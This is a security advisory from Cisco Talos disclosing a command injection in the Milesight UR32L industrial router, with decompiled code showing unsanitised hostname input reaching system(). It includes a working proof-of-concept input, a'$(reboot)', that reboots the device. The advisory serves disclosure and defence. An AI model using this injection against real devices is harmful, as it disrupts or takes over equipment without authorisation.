CVE-2023-22659
An os command injection vulnerability exists in the libzebra.so change_hostname functionality of Milesight UR32L v32.3.0.5. A specially-crafted network packets can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Milesight UR32L v32.3.0.5
UR32L - https://www.milesight-iot.com/cellular/router/ur32l/
7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.
The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console. This is an interactive shell to modify the router settings.
Here is the prompt after the login:
*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
-------------------------------------------------------------------------
Product Model : UR32L
Firmware Version : 32.3.0.5
-------------------------------------------------------------------------
ROUTER>
The service has several functionalities, the number of functionalities depends also on the user privileges. Indeed, the admin user can access the enable
command, that will allow to access an high privileges command menu:
ROUTER> enable
ROUTER#
cellular-gps-dev
clear Reset functions
configure Configuration from vty interface
copy Copy from one file to another
core Set debug level
debug Debugging functions (see also 'undebug')
disable Turn off privileged mode command
enable Turn on privileged mode command
end End current mode and change to enable mode
exit Exit current mode and down to previous mode
list Print command list
modbus-master
no Negate a command or set its defaults
ping Send echo messages
quit Exit current mode and down to previous mode
reload Halt and perform a cold restart
show Show running system information
ssh Open an ssh connection
telnet Open a telnet connection
terminal Set terminal line parameters
test Test
traceroute Trace route to destination
undebug Disable debugging functions (see also 'debug')
write Write running configuration to memory, network, or terminal
The command that we are going to analyze is called hostname
. This function is called as hostname <new_hostname>
and is used to change hostname for the device. This command is in the sub-menu reachable through the configure terminal
command:
ROUTER# configure terminal
ROUTER(config)#
[...]
hostname Set system's network name
[...]
The libzebra.so.0.0.0
’s hostname_command
function is responsible for managing the hostname
command:
undefined4 hostname_command(undefined4 param_1,int param_2,undefined4 param_3,byte **argv)
{
undefined4 uVar1;
char *pcVar2;
if (0x19 < (**argv | 0x20) - 0x61) {
[...]
}
uVar1 = change_hostname_wrap(argv);
return uVar1;
}
This function will check if the provided hostname starts with a letter of the alphabet, then the change_hostname_wrap
function will be called with the new hostname. The function change_hostname_wrap
will check if the current hostname differs from the new one, in such case the function change_hostname
will be eventually called:
void change_hostname(char *new_hostname)
{
int iVar1;
char change_hostname_command [128];
iVar1 = __stack_chk_guard;
change_hostname_command._0_4_ = 0;
memset(change_hostname_command + 4,0,0xfc);
snprintf(change_hostname_command,0x100,"uci set system.@system[0].hostname='%s';uci commit",
new_hostname); [1]
system(change_hostname_command); [2]
[...]
}
This function will compose, at [1]
, the uci set system.@system[0].hostname='<new_username>';uci commit
string. The composed string will then be executed, at [2]
, using the system
function. The change_hostname
function is vulnerable to a command injection vulnerability, indeed, the new_hostname
parameter it will reach the system
function and the hostname
command does only checks if the first character is alphabetic, this is not enough to prevent a command injection.
Following a POC triggering a reboot of the system through the command injection exposes above:
*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
-------------------------------------------------------------------------
Product Model : UR32L
Firmware Version : 32.3.0.5
-------------------------------------------------------------------------
ROUTER> enable
ROUTER# configure terminal
ROUTER(config)# hostname a'$(reboot)'
old hostname null
a(config)# Connection closed by foreign host.
The Connection closed by foreign host.
is the consequence of the device that is rebooting.
Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html
2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.